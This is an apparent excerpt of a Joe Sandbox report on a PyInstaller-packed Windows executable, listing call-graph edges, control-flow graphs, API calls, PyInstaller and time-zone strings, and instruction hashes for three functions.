17544->17552 17545->17552 17547 7ff6ffd21d05 17546->17547 17549 7ff6ffd25cb4 memcpy_s 11 API calls 17546->17549 17548 7ff6ffd25cb4 memcpy_s 11 API calls 17547->17548 17547->17552 17550 7ff6ffd21f99 17548->17550 17551 7ff6ffd21cfa 17549->17551 17553 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 17550->17553 17554 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 17551->17554 17552->17387 17553->17552 17554->17547 17556 7ff6ffd17b76 17555->17556 17557 7ff6ffd17b9a 17556->17557 17558 7ff6ffd17bed GetTempPathW 17556->17558 17560 7ff6ffd17d70 61 API calls 17557->17560 17559 7ff6ffd17c02 17558->17559 17594 7ff6ffd12810 17559->17594 17561 7ff6ffd17ba6 17560->17561 17606 7ff6ffd17630 17561->17606 17572 7ff6ffd17c1b __std_exception_destroy 17595 7ff6ffd12835 17594->17595 17596 7ff6ffd25508 48 API calls 17595->17596 17597 7ff6ffd12854 17596->17597 17597->17572 17607 7ff6ffd1763c 17606->17607 17608 7ff6ffd18de0 57 API calls 17607->17608 17609 7ff6ffd1765e 17608->17609 17888 7ff6ffd11716 17887->17888 17889 7ff6ffd1172e 17887->17889 17890 7ff6ffd12b10 59 API calls 17888->17890 17891 7ff6ffd11758 17889->17891 17892 7ff6ffd11734 17889->17892 17894 7ff6ffd11722 17890->17894 17980 7ff6ffd17e20 17891->17980 18017 7ff6ffd112a0 17892->18017 17894->16605 17897 7ff6ffd1174f 17897->16605 17899 7ff6ffd117a9 17903 7ff6ffd14060 116 API calls 17899->17903 17900 7ff6ffd1177d 17902 7ff6ffd12870 59 API calls 17900->17902 17901 7ff6ffd12b10 59 API calls 17901->17897 17904 7ff6ffd11793 17902->17904 17905 7ff6ffd117be 17903->17905 17904->16605 17906 7ff6ffd117c6 17905->17906 17907 7ff6ffd117de 17905->17907 17909 7ff6ffd12b10 59 API calls 17906->17909 17908 7ff6ffd21004 73 API calls 17907->17908 17930 7ff6ffd12d66 17929->17930 17931 7ff6ffd11ee0 49 API calls 17930->17931 17932 7ff6ffd12d99 17931->17932 17933 7ff6ffd13e80 49 API calls 17932->17933 17979 7ff6ffd130ca 17932->17979 17934 7ff6ffd12e07 17933->17934 17935 7ff6ffd13e80 49 API calls 17934->17935 17936 7ff6ffd12e18 17935->17936 17937 7ff6ffd12e39 17936->17937 17938 7ff6ffd12e75 17936->17938 18139 7ff6ffd13190 17937->18139 17940 7ff6ffd13190 75 API calls 17938->17940 17941 7ff6ffd12e73 17940->17941 17942 7ff6ffd12ef6 17941->17942 17943 7ff6ffd12eb4 17941->17943 17944 7ff6ffd13190 75 API calls 17942->17944 18147 7ff6ffd177b0 17943->18147 17946 7ff6ffd12f20 17944->17946 17950 7ff6ffd13190 75 API calls 17946->17950 17955 7ff6ffd12fbc 17946->17955 17953 7ff6ffd12f52 17950->17953 17953->17955 17981 7ff6ffd17e30 17980->17981 17982 7ff6ffd11ee0 49 API calls 17981->17982 17983 7ff6ffd17e71 17982->17983 17997 7ff6ffd17ef1 17983->17997 18060 7ff6ffd13ff0 17983->18060 17985 7ff6ffd1c010 _wfindfirst32i64 8 API calls 17987 7ff6ffd11775 17985->17987 17987->17899 17987->17900 17988 7ff6ffd17f2b 18066 7ff6ffd179d0 17988->18066 17990 7ff6ffd17ee0 17991 7ff6ffd17d70 61 API calls 17998 7ff6ffd17ea2 __std_exception_destroy 17991->17998 17996 7ff6ffd17f14 17997->17985 17998->17990 17998->17996 18018 7ff6ffd112b2 18017->18018 18019 7ff6ffd14060 116 API calls 18018->18019 18020 7ff6ffd112e2 18019->18020 18021 7ff6ffd112ea 18020->18021 18022 7ff6ffd11301 18020->18022 18024 7ff6ffd12b10 59 API calls 18021->18024 18023 7ff6ffd21004 73 API calls 18022->18023 18025 7ff6ffd11313 18023->18025 18052 7ff6ffd112fa __std_exception_destroy 18024->18052 18026 7ff6ffd11317 18025->18026 18027 7ff6ffd1133d 18025->18027 18028 7ff6ffd12870 59 API calls 18026->18028 18032 7ff6ffd11358 18027->18032 18033 7ff6ffd11380 18027->18033 18029 7ff6ffd1132e 18028->18029 18031 7ff6ffd2097c 74 API calls 18029->18031 18030 7ff6ffd1c010 _wfindfirst32i64 8 API calls 18035 7ff6ffd11444 18030->18035 18031->18052 18036 7ff6ffd12870 59 API calls 18032->18036 18034 7ff6ffd1139a 18033->18034 18047 7ff6ffd11453 18033->18047 18037 7ff6ffd11050 98 API calls 18034->18037 18035->17897 18035->17901 18039 7ff6ffd11373 18036->18039 18040 7ff6ffd113ab 18037->18040 18038 7ff6ffd113b3 18041 7ff6ffd2097c 74 API calls 18038->18041 18042 7ff6ffd2097c 74 API calls 18039->18042 18040->18038 18043 7ff6ffd114c2 __std_exception_destroy 18040->18043 18042->18052 18045 7ff6ffd20ccc _fread_nolock 53 API calls 18045->18047 18047->18038 18047->18045 18049 7ff6ffd114ab 18047->18049 18051 7ff6ffd12870 59 API calls 18049->18051 18051->18043 18052->18030 18061 7ff6ffd13ffa 18060->18061 18062 7ff6ffd18de0 57 API calls 18061->18062 18063 7ff6ffd14022 18062->18063 18064 7ff6ffd1c010 _wfindfirst32i64 8 API calls 18063->18064 18065 7ff6ffd1404a 18064->18065 18065->17988 18065->17991 18065->17998 18067 7ff6ffd179e0 18066->18067 18140 7ff6ffd131c4 18139->18140 18141 7ff6ffd252b4 49 API calls 18140->18141 18142 7ff6ffd131ea 18141->18142 18143 7ff6ffd131fb 18142->18143 18199 7ff6ffd265dc 18142->18199 18145 7ff6ffd1c010 _wfindfirst32i64 8 API calls 18143->18145 18148 7ff6ffd177be 18147->18148 18149 7ff6ffd14060 116 API calls 18148->18149 18200 7ff6ffd265f9 18199->18200 18201 7ff6ffd26605 18199->18201 18216 7ff6ffd25ef0 18200->18216 18241 7ff6ffd25788 18201->18241 18458 7ff6ffd26918 18457->18458 18459 7ff6ffd2693e 18458->18459 18461 7ff6ffd26971 18458->18461 18460 7ff6ffd25cb4 memcpy_s 11 API calls 18459->18460 18462 7ff6ffd26943 18460->18462 18463 7ff6ffd26977 18461->18463 18464 7ff6ffd26984 18461->18464 18465 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 18462->18465 18466 7ff6ffd25cb4 memcpy_s 11 API calls 18463->18466 18476 7ff6ffd2b9e0 18464->18476 18468 7ff6ffd140b9 18465->18468 18466->18468 18468->16679 18489 7ff6ffd311a8 EnterCriticalSection 18476->18489 18837 7ff6ffd298c4 18836->18837 18840 7ff6ffd293a0 18837->18840 18841 7ff6ffd293ea 18840->18841 18842 7ff6ffd293bb 18840->18842 18850 7ff6ffd25b5c EnterCriticalSection 18841->18850 18843 7ff6ffd2b5cc _invalid_parameter_noinfo 37 API calls 18842->18843 18863 7ff6ffd14060 116 API calls 18862->18863 18864 7ff6ffd115b7 18863->18864 18865 7ff6ffd115bf 18864->18865 18866 7ff6ffd115e0 18864->18866 18867 7ff6ffd12b10 59 API calls 18865->18867 18868 7ff6ffd21004 73 API calls 18866->18868 18869 7ff6ffd115cf 18867->18869 18870 7ff6ffd115f1 18868->18870 18869->16698 18871 7ff6ffd115f5 18870->18871 18873 7ff6ffd11611 18870->18873 18872 7ff6ffd12870 59 API calls 18871->18872 18883 7ff6ffd1160c __std_exception_destroy 18872->18883 18874 7ff6ffd11641 18873->18874 18875 7ff6ffd11621 18873->18875 18877 7ff6ffd11656 18874->18877 18882 7ff6ffd1166d 18874->18882 18876 7ff6ffd12870 59 API calls 18875->18876 18876->18883 18879 7ff6ffd11050 98 API calls 18877->18879 18878 7ff6ffd2097c 74 API calls 18880 7ff6ffd116e7 18878->18880 18879->18883 18880->16698 18881 7ff6ffd20ccc _fread_nolock 53 API calls 18881->18882 18882->18881 18882->18883 18884 7ff6ffd116ae 18882->18884 18883->18878 18885 7ff6ffd12870 59 API calls 18884->18885 18885->18883 18887 7ff6ffd119c3 18886->18887 18889 7ff6ffd1195f 18886->18889 18887->16704 18888 7ff6ffd25860 45 API calls 18888->18889 18889->18887 18889->18888 18890 7ff6ffd119d5 18889->18890 18890->16704 18892 7ff6ffd18de0 57 API calls 18891->18892 18893 7ff6ffd18487 LoadLibraryExW 18892->18893 18894 7ff6ffd184a4 __std_exception_destroy 18893->18894 18894->16725 18955 7ff6ffd15de0 18954->18955 18956 7ff6ffd11ee0 49 API calls 18955->18956 18957 7ff6ffd15e12 18956->18957 18958 7ff6ffd15e3b 18957->18958 18959 7ff6ffd15e1b 18957->18959 18961 7ff6ffd15e92 18958->18961 18962 7ff6ffd14140 49 API calls 18958->18962 18960 7ff6ffd12b10 59 API calls 18959->18960 18981 7ff6ffd15e31 18960->18981 18963 7ff6ffd14140 49 API calls 18961->18963 18967 7ff6ffd15e5c 18962->18967 18964 7ff6ffd15eab 18963->18964 18965 7ff6ffd15ec9 18964->18965 18969 7ff6ffd12b10 59 API calls 18964->18969 18970 7ff6ffd18470 58 API calls 18965->18970 18966 7ff6ffd15e7a 18972 7ff6ffd13ff0 57 API calls 18966->18972 18967->18966 18971 7ff6ffd12b10 59 API calls 18967->18971 18968 7ff6ffd1c010 _wfindfirst32i64 8 API calls 18973 7ff6ffd1344e 18968->18973 18969->18965 18974 7ff6ffd15ed6 18970->18974 18971->18966 18975 7ff6ffd15e84 18972->18975 18973->16746 18982 7ff6ffd15f30 18973->18982 18976 7ff6ffd15edb 18974->18976 18977 7ff6ffd15efd 18974->18977 18975->18961 18980 7ff6ffd18470 58 API calls 18975->18980 18978 7ff6ffd129c0 57 API calls 18976->18978 19052 7ff6ffd153f0 GetProcAddress 18977->19052 18978->18981 18980->18961 18981->18968 19136 7ff6ffd14ff0 18982->19136 18984 7ff6ffd15f54 19053 7ff6ffd15430 GetProcAddress 19052->19053 19055 7ff6ffd15412 19052->19055 19053->19055 19139 7ff6ffd15015 19136->19139 19137 7ff6ffd1501d 19137->18984 19138 7ff6ffd1535a __std_exception_destroy 19138->18984 19139->19137 19141 7ff6ffd151af 19139->19141 19178 7ff6ffd274f4 19139->19178 19140 7ff6ffd14450 47 API calls 19140->19141 19141->19138 19141->19140 19179 7ff6ffd27524 19178->19179 19278 7ff6ffd2bf00 __CxxCallCatchBlock 45 API calls 19277->19278 19279 7ff6ffd2b191 19278->19279 19280 7ff6ffd2b2bc __CxxCallCatchBlock 45 API calls 19279->19280 19281 7ff6ffd2b1b1 19280->19281 20555 7ff6ffd1b1cc 20556 7ff6ffd1a5d3 20555->20556 20558 7ff6ffd1a656 20555->20558 20557 7ff6ffd1b850 12 API calls 20556->20557 20556->20558 20557->20558 20342 7ff6ffd2d2d0 20353 7ff6ffd311a8 EnterCriticalSection 20342->20353

                                              Executed Functions

                                              Function 00007FF6FFD11000 Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 293windowCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 63 7ff6ffd11000-7ff6ffd139b6 call 7ff6ffd20750 call 7ff6ffd20748 call 7ff6ffd189b0 call 7ff6ffd20748 call 7ff6ffd1bfb0 call 7ff6ffd25ae0 call 7ff6ffd266e8 call 7ff6ffd11ea0 81 7ff6ffd139bc-7ff6ffd139cc call 7ff6ffd13f00 63->81 82 7ff6ffd13b5f 63->82 81->82 88 7ff6ffd139d2-7ff6ffd139e5 call 7ff6ffd13dd0 81->88 83 7ff6ffd13b64-7ff6ffd13b84 call 7ff6ffd1c010 82->83 88->82 91 7ff6ffd139eb-7ff6ffd13a12 call 7ff6ffd17d70 88->91 94 7ff6ffd13a54-7ff6ffd13a7c call 7ff6ffd18250 call 7ff6ffd11ca0 91->94 95 7ff6ffd13a14-7ff6ffd13a23 call 7ff6ffd17d70 91->95 105 7ff6ffd13b2d-7ff6ffd13b3e 94->105 106 7ff6ffd13a82-7ff6ffd13a98 call 7ff6ffd11ca0 94->106 95->94 101 7ff6ffd13a25-7ff6ffd13a2b 95->101 103 7ff6ffd13a37-7ff6ffd13a51 call 7ff6ffd2576c call 7ff6ffd18250 101->103 104 7ff6ffd13a2d-7ff6ffd13a35 101->104 103->94 104->103 109 7ff6ffd13b40-7ff6ffd13b47 105->109 110 7ff6ffd13b92-7ff6ffd13b95 105->110 117 7ff6ffd13ab7-7ff6ffd13aba 106->117 118 7ff6ffd13a9a-7ff6ffd13ab2 call 7ff6ffd12b10 106->118 109->110 115 7ff6ffd13b49-7ff6ffd13b51 call 7ff6ffd18b80 109->115 113 7ff6ffd13b97-7ff6ffd13b9d 110->113 114 7ff6ffd13bab-7ff6ffd13bc3 call 7ff6ffd18de0 110->114 119 7ff6ffd13bdb-7ff6ffd13be8 call 7ff6ffd16ff0 113->119 120 7ff6ffd13b9f-7ff6ffd13ba9 113->120 132 7ff6ffd13bce-7ff6ffd13bd5 SetDllDirectoryW 114->132 133 7ff6ffd13bc5-7ff6ffd13bcc 114->133 134 7ff6ffd13b53 115->134 135 7ff6ffd13b85-7ff6ffd13b88 call 7ff6ffd114e0 115->135 117->105 126 7ff6ffd13abc-7ff6ffd13ad3 call 7ff6ffd14060 117->126 118->82 136 7ff6ffd13bea-7ff6ffd13bf7 call 7ff6ffd16ca0 119->136 137 7ff6ffd13c33-7ff6ffd13c38 call 7ff6ffd16f70 119->137 120->114 120->119 144 7ff6ffd13ada-7ff6ffd13b06 call 7ff6ffd184c0 126->144 145 7ff6ffd13ad5-7ff6ffd13ad8 126->145 132->119 140 7ff6ffd13b5a call 7ff6ffd12b10 133->140 134->140 143 7ff6ffd13b8d-7ff6ffd13b90 135->143 136->137 154 7ff6ffd13bf9-7ff6ffd13c08 call 7ff6ffd16800 136->154 148 7ff6ffd13c3d-7ff6ffd13c40 137->148 140->82 143->82 143->110 144->105 156 7ff6ffd13b08-7ff6ffd13b10 call 7ff6ffd2097c 144->156 150 7ff6ffd13b15-7ff6ffd13b2b call 7ff6ffd12b10 145->150 152 7ff6ffd13c46-7ff6ffd13c50 148->152 153 7ff6ffd13d11-7ff6ffd13d20 call 7ff6ffd134a0 148->153 150->82 157 7ff6ffd13c53-7ff6ffd13c5d 152->157 153->82 171 7ff6ffd13d26-7ff6ffd13d55 call 7ff6ffd18b50 call 7ff6ffd181e0 call 7ff6ffd17d70 call 7ff6ffd13600 153->171 169 7ff6ffd13c29-7ff6ffd13c2e call 7ff6ffd16a50 154->169 170 7ff6ffd13c0a-7ff6ffd13c16 call 7ff6ffd16780 154->170 156->150 162 7ff6ffd13c66-7ff6ffd13c68 157->162 163 7ff6ffd13c5f-7ff6ffd13c64 157->163 167 7ff6ffd13c6a-7ff6ffd13c8d call 7ff6ffd11ee0 162->167 168 7ff6ffd13cb1-7ff6ffd13cb7 162->168 163->157 163->162 167->82 183 7ff6ffd13c93-7ff6ffd13c9d 167->183 174 7ff6ffd13cb9-7ff6ffd13cd6 PostMessageW GetMessageW 168->174 175 7ff6ffd13cdc-7ff6ffd13d0c call 7ff6ffd13600 call 7ff6ffd13440 call 7ff6ffd135f0 call 7ff6ffd16a50 call 7ff6ffd16f70 168->175 169->137 170->169 184 7ff6ffd13c18-7ff6ffd13c27 call 7ff6ffd16e40 170->184 199 7ff6ffd13d57-7ff6ffd13d74 PostMessageW GetMessageW 171->199 200 7ff6ffd13d7a-7ff6ffd13daa call 7ff6ffd18290 call 7ff6ffd16a50 call 7ff6ffd16f70 171->200 174->175 175->83 188 7ff6ffd13ca0-7ff6ffd13caf 183->188 184->148 188->168 188->188 199->200 210 7ff6ffd13db8-7ff6ffd13dbb call 7ff6ffd11e70 200->210 211 7ff6ffd13dac-7ff6ffd13db3 call 7ff6ffd17f50 200->211 214 7ff6ffd13dc0-7ff6ffd13dc2 210->214 211->210 214->83
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Message$EnvironmentPost$DirectoryExpandFileModuleNameStringsVariable
                                              • String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
                                              • API String ID: 2647325126-1544818733
                                              • Opcode ID: bd414e0ba7d804e29e6718c27cc7e8acd751ab09fec9afdc79f0f04ad45cb119
                                              • Instruction ID: 5b2c17c31b16388327d4551a4ba4f9c14b002f167a48ac58913efcb97eff8d50
                                              • Opcode Fuzzy Hash: bd414e0ba7d804e29e6718c27cc7e8acd751ab09fec9afdc79f0f04ad45cb119
                                              • Instruction Fuzzy Hash: FAC16921B0CA8681FB25AB21E5512BE73A1BF84784F440331EA7DD76DAFE2CE505C780
                                              Function 00007FF6FFD36B50 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334timeCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 263 7ff6ffd36b50-7ff6ffd36b8b call 7ff6ffd364d8 call 7ff6ffd364e0 call 7ff6ffd36548 270 7ff6ffd36b91-7ff6ffd36b9c call 7ff6ffd364e8 263->270 271 7ff6ffd36db5-7ff6ffd36e01 call 7ff6ffd2b6b8 call 7ff6ffd364d8 call 7ff6ffd364e0 call 7ff6ffd36548 263->271 270->271 277 7ff6ffd36ba2-7ff6ffd36bac 270->277 296 7ff6ffd36e07-7ff6ffd36e12 call 7ff6ffd364e8 271->296 297 7ff6ffd36f3f-7ff6ffd36fad call 7ff6ffd2b6b8 call 7ff6ffd323d0 271->297 279 7ff6ffd36bce-7ff6ffd36bd2 277->279 280 7ff6ffd36bae-7ff6ffd36bb1 277->280 282 7ff6ffd36bd5-7ff6ffd36bdd 279->282 283 7ff6ffd36bb4-7ff6ffd36bbf 280->283 282->282 285 7ff6ffd36bdf-7ff6ffd36bf2 call 7ff6ffd2e3ac 282->285 286 7ff6ffd36bca-7ff6ffd36bcc 283->286 287 7ff6ffd36bc1-7ff6ffd36bc8 283->287 294 7ff6ffd36c0a-7ff6ffd36c16 call 7ff6ffd2b700 285->294 295 7ff6ffd36bf4-7ff6ffd36bf6 call 7ff6ffd2b700 285->295 286->279 288 7ff6ffd36bfb-7ff6ffd36c09 286->288 287->283 287->286 305 7ff6ffd36c1d-7ff6ffd36c25 294->305 295->288 296->297 306 7ff6ffd36e18-7ff6ffd36e23 call 7ff6ffd36518 296->306 316 7ff6ffd36fbb-7ff6ffd36fbe 297->316 317 7ff6ffd36faf-7ff6ffd36fb6 297->317 305->305 308 7ff6ffd36c27-7ff6ffd36c38 call 7ff6ffd31344 305->308 306->297 318 7ff6ffd36e29-7ff6ffd36e4c call 7ff6ffd2b700 GetTimeZoneInformation 306->318 308->271 315 7ff6ffd36c3e-7ff6ffd36c94 call 7ff6ffd3b580 * 4 call 7ff6ffd36a6c 308->315 376 7ff6ffd36c96-7ff6ffd36c9a 315->376 321 7ff6ffd36fc0 316->321 322 7ff6ffd36ff5-7ff6ffd37008 call 7ff6ffd2e3ac 316->322 320 7ff6ffd3704b-7ff6ffd3704e 317->320 329 7ff6ffd36f14-7ff6ffd36f3e call 7ff6ffd364d0 call 7ff6ffd364c0 call 7ff6ffd364c8 318->329 330 7ff6ffd36e52-7ff6ffd36e73 318->330 325 7ff6ffd37054-7ff6ffd3705c call 7ff6ffd36b50 320->325 326 7ff6ffd36fc3 call 7ff6ffd36dcc 320->326 321->326 340 7ff6ffd3700a 322->340 341 7ff6ffd37013-7ff6ffd3702e call 7ff6ffd323d0 322->341 342 7ff6ffd36fc8-7ff6ffd36ff4 call 7ff6ffd2b700 call 7ff6ffd1c010 325->342 326->342 335 7ff6ffd36e7e-7ff6ffd36e85 330->335 336 7ff6ffd36e75-7ff6ffd36e7b 330->336 343 7ff6ffd36e99 335->343 344 7ff6ffd36e87-7ff6ffd36e8f 335->344 336->335 347 7ff6ffd3700c-7ff6ffd37011 call 7ff6ffd2b700 340->347 362 7ff6ffd37030-7ff6ffd37033 341->362 363 7ff6ffd37035-7ff6ffd37047 call 7ff6ffd2b700 341->363 354 7ff6ffd36e9b-7ff6ffd36f0f call 7ff6ffd3b580 * 4 call 7ff6ffd339ac call 7ff6ffd37064 * 2 343->354 344->343 351 7ff6ffd36e91-7ff6ffd36e97 344->351 347->321 351->354 354->329 362->347 363->320 378 7ff6ffd36c9c 376->378 379 7ff6ffd36ca0-7ff6ffd36ca4 376->379 378->379 379->376 381 7ff6ffd36ca6-7ff6ffd36ccb call 7ff6ffd275a8 379->381 386 7ff6ffd36cce-7ff6ffd36cd2 381->386 389 7ff6ffd36ce1-7ff6ffd36ce5 386->389 390 7ff6ffd36cd4-7ff6ffd36cdf 386->390 389->386 390->389 392 7ff6ffd36ce7-7ff6ffd36ceb 390->392 394 7ff6ffd36d6c-7ff6ffd36d70 392->394 395 7ff6ffd36ced-7ff6ffd36d15 call 7ff6ffd275a8 392->395 396 7ff6ffd36d77-7ff6ffd36d84 394->396 397 7ff6ffd36d72-7ff6ffd36d74 394->397 403 7ff6ffd36d17 395->403 404 7ff6ffd36d33-7ff6ffd36d37 395->404 399 7ff6ffd36d86-7ff6ffd36d9c call 7ff6ffd36a6c 396->399 400 7ff6ffd36d9f-7ff6ffd36dae call 7ff6ffd364d0 call 7ff6ffd364c0 396->400 397->396 399->400 400->271 407 7ff6ffd36d1a-7ff6ffd36d21 403->407 404->394 409 7ff6ffd36d39-7ff6ffd36d57 call 7ff6ffd275a8 404->409 407->404 410 7ff6ffd36d23-7ff6ffd36d31 407->410 415 7ff6ffd36d63-7ff6ffd36d6a 409->415 410->404 410->407 415->394 416 7ff6ffd36d59-7ff6ffd36d5d 415->416 416->394 417 7ff6ffd36d5f 416->417 417->415
                                              APIs
                                              • _get_daylight.LIBCMT ref: 00007FF6FFD36B95
                                                • Part of subcall function 00007FF6FFD364E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FFD364FC
                                                • Part of subcall function 00007FF6FFD2B700: RtlDeleteBoundaryDescriptor.NTDLL(?,?,?,00007FF6FFD33B72,?,?,?,00007FF6FFD33BAF,?,?,00000000,00007FF6FFD34075,?,?,00000000,00007FF6FFD33FA7), ref: 00007FF6FFD2B716
                                                • Part of subcall function 00007FF6FFD2B700: GetLastError.KERNEL32(?,?,?,00007FF6FFD33B72,?,?,?,00007FF6FFD33BAF,?,?,00000000,00007FF6FFD34075,?,?,00000000,00007FF6FFD33FA7), ref: 00007FF6FFD2B720
                                                • Part of subcall function 00007FF6FFD2B6B8: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6FFD2B697,?,?,?,?,?,00007FF6FFD238BC), ref: 00007FF6FFD2B6C1
                                                • Part of subcall function 00007FF6FFD2B6B8: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6FFD2B697,?,?,?,?,?,00007FF6FFD238BC), ref: 00007FF6FFD2B6E6
                                              • _get_daylight.LIBCMT ref: 00007FF6FFD36B84
                                                • Part of subcall function 00007FF6FFD36548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FFD3655C
                                              • _get_daylight.LIBCMT ref: 00007FF6FFD36DFA
                                              • _get_daylight.LIBCMT ref: 00007FF6FFD36E0B
                                              • _get_daylight.LIBCMT ref: 00007FF6FFD36E1C
                                              • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6FFD3705C), ref: 00007FF6FFD36E43
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _get_daylight$_invalid_parameter_noinfo$BoundaryCurrentDeleteDescriptorErrorFeatureInformationLastPresentProcessProcessorTimeZone
                                              • String ID: W. Europe Standard Time$W. Europe Summer Time
                                              • API String ID: 3714727158-690618308
                                              • Opcode ID: 011d4974f3e124412289dc327b2b40947a146d65b03f6d5f747eb19bebd0a963
                                              • Instruction ID: 2f63c7b794e568c057ae727bd5f1072c7dc597018d7ff120b733156171ead4d0
                                              • Opcode Fuzzy Hash: 011d4974f3e124412289dc327b2b40947a146d65b03f6d5f747eb19bebd0a963
                                              • Instruction Fuzzy Hash: 38D1AD26E0824286F720AF25D8429B96761EF84B94F448335EB7DC7AD6FE7CE44187C0
                                              Function 00007FF6FFD37A9C Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 448 7ff6ffd37a9c-7ff6ffd37b0f call 7ff6ffd377d0 451 7ff6ffd37b29-7ff6ffd37b33 call 7ff6ffd28c58 448->451 452 7ff6ffd37b11-7ff6ffd37b1a call 7ff6ffd25c94 448->452 458 7ff6ffd37b4e-7ff6ffd37bb7 CreateFileW 451->458 459 7ff6ffd37b35-7ff6ffd37b4c call 7ff6ffd25c94 call 7ff6ffd25cb4 451->459 457 7ff6ffd37b1d-7ff6ffd37b24 call 7ff6ffd25cb4 452->457 474 7ff6ffd37e6a-7ff6ffd37e8a 457->474 460 7ff6ffd37bb9-7ff6ffd37bbf 458->460 461 7ff6ffd37c34-7ff6ffd37c3f GetFileType 458->461 459->457 464 7ff6ffd37c01-7ff6ffd37c2f GetLastError call 7ff6ffd25c28 460->464 465 7ff6ffd37bc1-7ff6ffd37bc5 460->465 467 7ff6ffd37c41-7ff6ffd37c7c GetLastError call 7ff6ffd25c28 CloseHandle 461->467 468 7ff6ffd37c92-7ff6ffd37c99 461->468 464->457 465->464 472 7ff6ffd37bc7-7ff6ffd37bff CreateFileW 465->472 467->457 483 7ff6ffd37c82-7ff6ffd37c8d call 7ff6ffd25cb4 467->483 470 7ff6ffd37c9b-7ff6ffd37c9f 468->470 471 7ff6ffd37ca1-7ff6ffd37ca4 468->471 478 7ff6ffd37caa-7ff6ffd37cff call 7ff6ffd28b70 470->478 471->478 479 7ff6ffd37ca6 471->479 472->461 472->464 486 7ff6ffd37d01-7ff6ffd37d0d call 7ff6ffd379d8 478->486 487 7ff6ffd37d1e-7ff6ffd37d4f call 7ff6ffd37550 478->487 479->478 483->457 486->487 495 7ff6ffd37d0f 486->495 493 7ff6ffd37d51-7ff6ffd37d53 487->493 494 7ff6ffd37d55-7ff6ffd37d97 487->494 496 7ff6ffd37d11-7ff6ffd37d19 call 7ff6ffd2b878 493->496 497 7ff6ffd37db9-7ff6ffd37dc4 494->497 498 7ff6ffd37d99-7ff6ffd37d9d 494->498 495->496 496->474 500 7ff6ffd37e68 497->500 501 7ff6ffd37dca-7ff6ffd37dce 497->501 498->497 499 7ff6ffd37d9f-7ff6ffd37db4 498->499 499->497 500->474 501->500 503 7ff6ffd37dd4-7ff6ffd37e19 CloseHandle CreateFileW 501->503 505 7ff6ffd37e1b-7ff6ffd37e49 GetLastError call 7ff6ffd25c28 call 7ff6ffd28d98 503->505 506 7ff6ffd37e4e-7ff6ffd37e63 503->506 505->506 506->500
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                              • String ID:
                                              • API String ID: 1617910340-0
                                              • Opcode ID: 8482aad9305a30c551bfc572177b6762c68ebfb4afe3bdfce811c5be068ed5ba
                                              • Instruction ID: 981b3abb24616d21953e3affd0fc76cefe85d8ce7b7fb4e788c6ab8552e208cb
